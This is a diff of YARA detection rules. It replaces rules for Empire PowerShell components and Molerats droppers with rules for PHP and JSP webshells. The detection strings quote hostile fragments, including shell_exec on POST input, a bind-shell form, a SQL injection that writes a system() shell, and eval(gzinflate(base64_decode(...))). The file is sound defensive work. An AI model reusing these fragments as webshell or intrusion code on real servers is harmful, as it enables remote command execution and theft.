-		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_molerats_jul17.yar#L78-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb2bb54fc1749d8422cdc8e084e1fa66981611128f56e7d7d678f177d37b7cdd"
+		old_rule_name = "WebShell_Safe_Mode_Bypass_PHP_4_4_2_and_PHP_5_1_2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5809-L5826"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "db076b7c80d2a5279cab2578aa19cb18aea92832"
+		logic_hash = "6840af0d9f99277277edce93deb54e9a319c8938169701c89fdeb65207590951"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
 
 	strings:
-		$x1 = "powershell.exe -nop -c \"iex" nocase ascii
-		$x2 = ".run('%windir%\\\\SysWOW64\\\\WindowsPowerShell\\\\" ascii
-		$a1 = "Net.WebClient).DownloadString" nocase ascii
-		$a2 = "gist.githubusercontent.com" nocase ascii
+		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
+		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+		$s9 = "\".htmlspecialchars($file).\" has been already loaded. PHP Emperor <xb5@hotmail."
+		$s11 = "die(\"<FONT COLOR=\\\"RED\\\"><CENTER>Sorry... File" fullword
+		$s15 = "if(empty($_GET['file'])){" fullword
+		$s16 = "echo \"<head><title>Safe Mode Shell</title></head>\"; " fullword
 
 	condition:
-		filesize <200KB and (1 of ($x*) or 2 of them )
+		3 of them
 }
-rule SIGNATURE_BASE_Molerats_Jul17_Sample_Dropper : FILE
+rule SIGNATURE_BASE_Webshell_Liz0Zim_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit_2
 {
 	meta:
-		description = "Detects Molerats sample dropper SFX - July 2017"
+		description = "PHP Webshells Github Archive - file Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b4622373-b496-51de-abaa-caa665b558b3"
-		date = "2017-07-07"
+		id = "b647f529-be81-51ad-b671-84aec410e133"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_molerats_jul17.yar#L97-L112"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b356d8dbca8f4d11dda976e7eb03c993d05af35d13113b8c85fb07531a0203dc"
+		old_rule_name = "WebShell_Liz0ziM_Private_Safe_Mode_Command_Execuriton_Bypass_Exploit"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5827-L5843"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b2b797707e09c12ff5e632af84b394ad41a46fa4"
+		logic_hash = "92bfac3516a448bbb3e78cf8950c6e816bf35d0ae2f3d32bc9b9b2836309999b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ad0b3ac8c573d84c0862bf1c912dba951ec280d31fe5b84745ccd12164b0bcdb"
 
 	strings:
-		$s1 = "Please remove %s from %s folder. It is unsecure to run %s until it is done." fullword wide
-		$s2 = "sfxrar.exe" fullword ascii
-		$s3 = "attachment.hta" fullword ascii
+		$s4 = "$liz0zim=shell_exec($_POST[liz0]); " fullword
+		$s6 = "$liz0=shell_exec($_POST[baba]); " fullword
+		$s9 = "echo \"<b><font color=blue>Liz0ziM Private Safe Mode Command Execuriton Bypass E"
+		$s12 = " :=) :</font><select size=\"1\" name=\"liz0\">" fullword
+		$s13 = "<option value=\"cat /etc/passwd\">/etc/passwd</option>" fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Metasploitpayload : FILE
+rule SIGNATURE_BASE_Webshell_PHP_Backdoor_2
 {
 	meta:
-		description = "Detects Empire component - file Invoke-MetasploitPayload.ps1"
+		description = "PHP Webshells Github Archive - file php-backdoor.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "608c30b0-826a-55b1-afb8-756b476d6b55"
-		date = "2016-11-05"
+		id = "65e1305b-4fc7-5885-b3df-92846bb57fe3"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L10-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1399818f71544245a7b689a7eb4da794b10814590e4c5f545fc28237ffa3d0f6"
+		old_rule_name = "WebShell_php_backdoor"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5844-L5860"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b190c03af4f3fb52adc20eb0f5d4d151020c74fe"
+		logic_hash = "4228bcbfff5d7756615347196270f7916843e2aceacc7298610070b8b923381b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a85ca27537ebeb79601b885b35ddff6431860b5852c6a664d32a321782808c54"
 
 	strings:
-		$s1 = "$ProcessInfo.Arguments=\"-nop -c $DownloadCradle\"" fullword ascii
-		$s2 = "$PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" fullword ascii
+		$s5 = "http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix" fullword
+		$s6 = "// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombi"
+		$s11 = "if(!isset($_REQUEST['dir'])) die('hey,specify directory!');" fullword
+		$s13 = "else echo \"<a href='$PHP_SELF?f=$d/$dir'><font color=black>\";" fullword
+		$s15 = "<pre><form action=\"<? echo $PHP_SELF; ?>\" METHOD=GET >execute command: <input "
 
 	condition:
-		( uint16(0)==0x7566 and filesize <9KB and 1 of them ) or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Empire_Exploit_Jenkins : FILE
+rule SIGNATURE_BASE_Webshell_Worse_Linux_Shell_2
 {
 	meta:
-		description = "Detects Empire component - file Exploit-Jenkins.ps1"
+		description = "PHP Webshells Github Archive - file Worse Linux Shell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f2162783-34cd-5db4-bd1c-6c58feb92e77"
-		date = "2016-11-05"
+		id = "04ed7464-29d1-54b9-98ff-afc03475b220"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L26-L41"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "caf65814a1aeb0e14ec6430f7d5692b9c090bdc0d453566f0b0abd703f74bac7"
+		old_rule_name = "WebShell_Worse_Linux_Shell"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5861-L5878"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "64623ab1246bc8f7d256b25f244eb2b41f543e96"
+		logic_hash = "6480c524213583511253ea1d37820994bba8a86f58a3775d4a9e4325725289d8"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a5182cccd82bb9984b804b365e07baba78344108f225b94bd12a59081f680729"
 
 	strings:
-		$s1 = "$postdata=\"script=println+new+ProcessBuilder%28%27\"+$($Cmd)+\"" ascii
-		$s2 = "$url = \"http://\"+$($Rhost)+\":\"+$($Port)+\"/script\"" fullword ascii
-		$s3 = "$Cmd = [System.Web.HttpUtility]::UrlEncode($Cmd)" fullword ascii
+		$s4 = "if( $_POST['_act'] == \"Upload!\" ) {" fullword
+		$s5 = "print \"<center><h1>#worst @dal.net</h1></center>\";" fullword
+		$s7 = "print \"<center><h1>Linux Shells</h1></center>\";" fullword
+		$s8 = "$currentCMD = \"ls -la\";" fullword
+		$s14 = "print \"<tr><td><b>System type:</b></td><td>$UName</td></tr>\";" fullword
+		$s19 = "$currentCMD = str_replace(\"\\\\\\\\\",\"\\\\\",$_POST['_cmd']);" fullword
 
 	condition:
-		( uint16(0)==0x6620 and filesize <7KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Get_Securitypackages : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Phpinj
 {
 	meta:
-		description = "Detects Empire component - file Get-SecurityPackages.ps1"
+		description = "PHP Webshells Github Archive - file pHpINJ.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a109eda1-a26d-5cf6-b6b5-1a1a1e770a0a"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L43-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d63fdcc6713d2f7645b16cf3e79a6e951c7751a10bfa0e2853def47ea9547d2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5879-L5896"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "75116bee1ab122861b155cc1ce45a112c28b9596"
+		logic_hash = "271efaa8f370376f971d3d59256658b341599ac554cc216e09401e44b16bdede"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5d06e99121cff9b0fce74b71a137501452eebbcd1e901b26bde858313ee5a9c1"
 
 	strings:
-		$s1 = "$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)" fullword ascii
-		$s2 = "$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])" fullword ascii
+		$s3 = "echo '<a href='.$expurl.'> Click Here to Exploit </a> <br />';" fullword
+		$s10 = "<form action = \"<?php echo \"$_SERVER[PHP_SELF]\" ; ?>\" method = \"post\">" fullword
+		$s11 = "$sql = \"0' UNION SELECT '0' , '<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 IN"
+		$s13 = "Full server path to a writable file which will contain the Php Shell <br />" fullword
+		$s14 = "$expurl= $url.\"?id=\".$sql ;" fullword
+		$s15 = "<header>||   .::News PHP Shell Injection::.   ||</header> <br /> <br />" fullword
+		$s16 = "<input type = \"submit\" value = \"Create Exploit\"> <br /> <br />" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <20KB and 1 of them ) or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Powerdump : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_NGH
 {
 	meta:
-		description = "Detects Empire component - file Invoke-PowerDump.ps1"
+		description = "PHP Webshells Github Archive - file NGH.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d1082a4e-d458-57fb-b332-7c775c8ef2dd"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L59-L74"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e460d015be54a88d0eb5741a9c32cf6d7a410e0beb5356402af0dd19d1b4c6f2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5897-L5914"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c05b5deecfc6de972aa4652cb66da89cfb3e1645"
+		logic_hash = "572b026545b012951136bdb9b1101e38f27bc3321b895799bc853ea1190877f9"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "095c5cf5c0c8a9f9b1083302e2ba1d4e112a410e186670f9b089081113f5e0e1"
 
 	strings:
-		$x16 = "$enc = Get-PostHashdumpScript" fullword ascii
-		$x19 = "$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;" fullword ascii
-		$x20 = "$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);" fullword ascii
+		$s0 = "<title>Webcommander at <?=$_SERVER[\"HTTP_HOST\"]?></title>" fullword
+		$s2 = "/* Webcommander by Cr4sh_aka_RKL v0.3.9 NGH edition :p */" fullword
+		$s5 = "<form action=<?=$script?>?act=bindshell method=POST>" fullword
+		$s9 = "<form action=<?=$script?>?act=backconnect method=POST>" fullword
+		$s11 = "<form action=<?=$script?>?act=mkdir method=POST>" fullword
+		$s16 = "die(\"<font color=#DF0000>Login error</font>\");" fullword
+		$s20 = "<b>Bind /bin/bash at port: </b><input type=text name=port size=8>" fullword
 
 	condition:
-		( uint16(0)==0x2023 and filesize <60KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Install_SSP : FILE
+rule SIGNATURE_BASE_Webshell_Php_Webshells_Matamu
 {
 	meta:
-		description = "Detects Empire component - file Install-SSP.ps1"
+		description = "PHP Webshells Github Archive - file matamu.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06bbdcc5-c48b-5753-88a2-5c962d1b986f"
-		date = "2016-11-05"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L76-L89"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf0966d0141d4606983f267face635ef5fddbc73282f02f0a0ae6fcf89f2e6dc"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5915-L5931"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d477aae6bd2f288b578dbf05c1c46b3aaa474733"
+		logic_hash = "c0101dab5fe7c3a2652b2e23e1ef0274364137895a402a0367c6b5474c0e8a1f"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7fd921a23950334257dda57b99e03c1e1594d736aab2dbfe9583f99cd9b1d165"
 
 	strings:
-		$s1 = "Install-SSP -Path .\\mimilib.dll" fullword ascii
+		$s2 = "$command .= ' -F';" fullword
+		$s3 = "/* We try and match a cd command. */" fullword
+		$s4 = "directory... Trust me - it works :-) */" fullword
+		$s5 = "$command .= \" 1> $tmpfile 2>&1; \" ." fullword
+		$s10 = "$new_dir = $regs[1]; // 'cd /something/...'" fullword
+		$s16 = "/* The last / in work_dir were the first charecter." fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <20KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Shellcodemsil : FILE
+rule SIGNATURE_BASE_Webshell_Ru24_Post_Sh
 {
 	meta:
-		description = "Detects Empire component - file Invoke-ShellcodeMSIL.ps1"
+		description = "PHP Webshells Github Archive - file ru24_post_sh.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "06011b51-bad7-5656-ac37-e49f9b6d0498"
-		date = "2016-11-05"
+		id = "86a45d72-c42d-58d5-9969-d3ebfc22853d"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L91-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "eb556fb8b558145e7e981ab3c3ccfb2656512498b917c705e53bc5b9f3650155"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5932-L5947"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d2c18766a1cd4dda928c12ff7b519578ccec0769"
+		logic_hash = "6cf15a67c311979d32edfb443701cef34ee32d7a672314fc7b60b262b6b2c402"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9a9c6c9eb67bde4a8ce2c0858e353e19627b17ee2a7215fa04a19010d3ef153f"
 
 	strings:
-		$s1 = "$FinalShellcode.Length" fullword ascii
-		$s2 = "@(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)" fullword ascii
-		$s3 = "@(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57," fullword ascii
-		$s4 = "$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null" fullword ascii
+		$s1 = "http://www.ru24-team.net" fullword
+		$s4 = "if ((!$_POST['cmd']) || ($_POST['cmd']==\"\")) { $_POST['cmd']=\"id;pwd;uname -a"
+		$s6 = "Ru24PostWebShell"
+		$s7 = "Writed by DreAmeRz" fullword
+		$s9 = "$function=passthru; // system, exec, cmd" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_HKTL_Empire_Powerup : FILE
+rule SIGNATURE_BASE_Webshell_Hiddens_Shell_V1
 {
 	meta:
-		description = "Detects Empire component - file PowerUp.ps1"
+		description = "PHP Webshells Github Archive - file hiddens shell v1.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e79d093e-7481-52a3-a350-4d1b6d8955cd"
-		date = "2016-11-05"
+		id = "7194998e-c84c-5f59-92fe-857ecf7e8e88"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L109-L122"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d55674866a1a14d4f4c2b5529e47e005ca4b433383bf112af6da41d7f84afdb7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5948-L5959"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1674bd40eb98b48427c547bf9143aa7fbe2f4a59"
+		logic_hash = "b76400c320e6294b0c831fbbb8e08a9d2097fbb027065f9c4b496d4b005ba016"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ad9a5dff257828ba5f15331d59dd4def3989537b3b6375495d0c08394460268c"
 
 	strings:
-		$x2 = "$PoolPasswordCmd = 'c:\\windows\\system32\\inetsrv\\appcmd.exe list apppool" fullword ascii
+		$s0 = "<?$d='G7mHWQ9vvXiL/QX2oZ2VTDpo6g3FYAa6X+8DMIzcD0eHZaBZH7jFpZzUz7XNenxSYvBP2Wy36U"
 
 	condition:
-		( uint16(0)==0x233c and filesize <2000KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Mimikatz_Gen : FILE
+rule SIGNATURE_BASE_Webshell_C99_Madnet
 {
 	meta:
-		description = "Detects Empire component - file Invoke-Mimikatz.ps1"
+		description = "PHP Webshells Github Archive - file c99_madnet.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1f771a17-2534-5811-80bd-bc1bab37d97c"
-		date = "2016-11-05"
+		id = "f2b9c3d1-1c55-59cb-a9bf-8b4011f86a3b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L124-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a28297025b9b0178ab437996ffd3e0c28526f1edaf61db659093fe41a356cf40"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5960-L5975"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "17613df393d0a99fd5bea18b2d4707f566cff219"
+		logic_hash = "cd4048f28405f106302643656ae5f8a257aaec0184a8057a9dffbda9bb857027"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4725a57a5f8b717ce316f104e9472e003964f8eae41a67fd8c16b4228e3d00b3"
 
 	strings:
-		$s1 = "= \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQ" ascii
-		$s2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword ascii
+		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
+		$s1 = "eval(gzinflate(base64_decode('"
+		$s2 = "$pass = \"pass\";  //Pass" fullword
+		$s3 = "$login = \"user\"; //Login" fullword
+		$s4 = "             //Authentication" fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <4000KB and 1 of them ) or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Empire_Get_Gpppassword : FILE
+rule SIGNATURE_BASE_Webshell_C99_Locus7S
 {
 	meta:
-		description = "Detects Empire component - file Get-GPPPassword.ps1"
+		description = "PHP Webshells Github Archive - file c99_locus7s.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7791b009-19d3-5d08-8ef7-4723d28830ed"
-		date = "2016-11-05"
+		id = "f92fe5a2-e465-56ed-a77b-b32ea4c2c105"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L140-L155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3c879e50805e8b89fc8f3a7c7da2c8e906c89f210ab74194daca6b0ba2d312ba"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5976-L5991"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d413d4700daed07561c9f95e1468fb80238fbf3c"
+		logic_hash = "5ecfc5f6da471bd3037228c0bc762d50762933af3cf6674210c7b2017a45a646"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "55a4519c4f243148a971e4860225532a7ce730b3045bde3928303983ebcc38b0"
 
 	strings:
-		$s1 = "$Base64Decoded = [Convert]::FromBase64String($Cpassword)" fullword ascii
-		$s2 = "$XMlFiles += Get-ChildItem -Path \"\\\\$DomainController\\SYSVOL\" -Recurse" ascii
-		$s3 = "function Get-DecryptedCpassword {" fullword ascii
+		$s8 = "$encoded = base64_encode(file_get_contents($d.$f)); " fullword
+		$s9 = "$file = $tmpdir.\"dump_\".getenv(\"SERVER_NAME\").\"_\".$db.\"_\".date(\"d-m-Y"
+		$s10 = "else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sq"
+		$s11 = "$c99sh_sourcesurl = \"http://locus7s.com/\"; //Sources-server " fullword
+		$s19 = "$nixpwdperpage = 100; // Get first N lines from /etc/passwd " fullword
 
 	condition:
-		( uint16(0)==0x7566 and filesize <30KB and 1 of them ) or all of them
+		2 of them
 }
-rule SIGNATURE_BASE_Empire_Invoke_Smbscanner : FILE
+rule SIGNATURE_BASE_Webshell_Jspwebshell_1_2
 {
 	meta:
-		description = "Detects Empire component - file Invoke-SmbScanner.ps1"
+		description = "PHP Webshells Github Archive - file JspWebshell_1.2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "63cd048b-04fd-5b4f-9d4d-3a001c31b4df"
-		date = "2016-11-05"
+		id = "dfd8c88d-4fe2-5786-9d71-65dba525c358"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/adaptivethreat/Empire"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_empire.yar#L157-L171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5feb32dd0fc5271256dc4a088b9b02b591dbe584759db7ee4f5a6c99f42c3c0c"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5992-L6008"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0bed4a1966117dd872ac9e8dceceb54024a030fa"
+		logic_hash = "13e696c1c671d7fda832c84f150e3f41ed55bf888c4bebfeb06ea68d6be65527"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9a705f30766279d1e91273cfb1ce7156699177a109908e9a986cc2d38a7ab1dd"
 
 	strings:
-		$s1 = "$up = Test-Connection -count 1 -Quiet -ComputerName $Computer " fullword ascii
-		$s2 = "$out | add-member Noteproperty 'Password' $Password" fullword ascii
+		$s0 = "System.out.println(\"CreateAndDeleteFolder is error:\"+ex); " fullword
+		$s1 = "String password=request.getParameter(\"password\");" fullword
+		$s3 = "<%@ page contentType=\"text/html; charset=GBK\" language=\"java\" import=\"java."
+		$s7 = "String editfile=request.getParameter(\"editfile\");" fullword
+		$s8 = "//String tempfilename=request.getParameter(\"file\");" fullword
+		$s12 = "password = (String)session.getAttribute(\"password\");" fullword
 
 	condition:
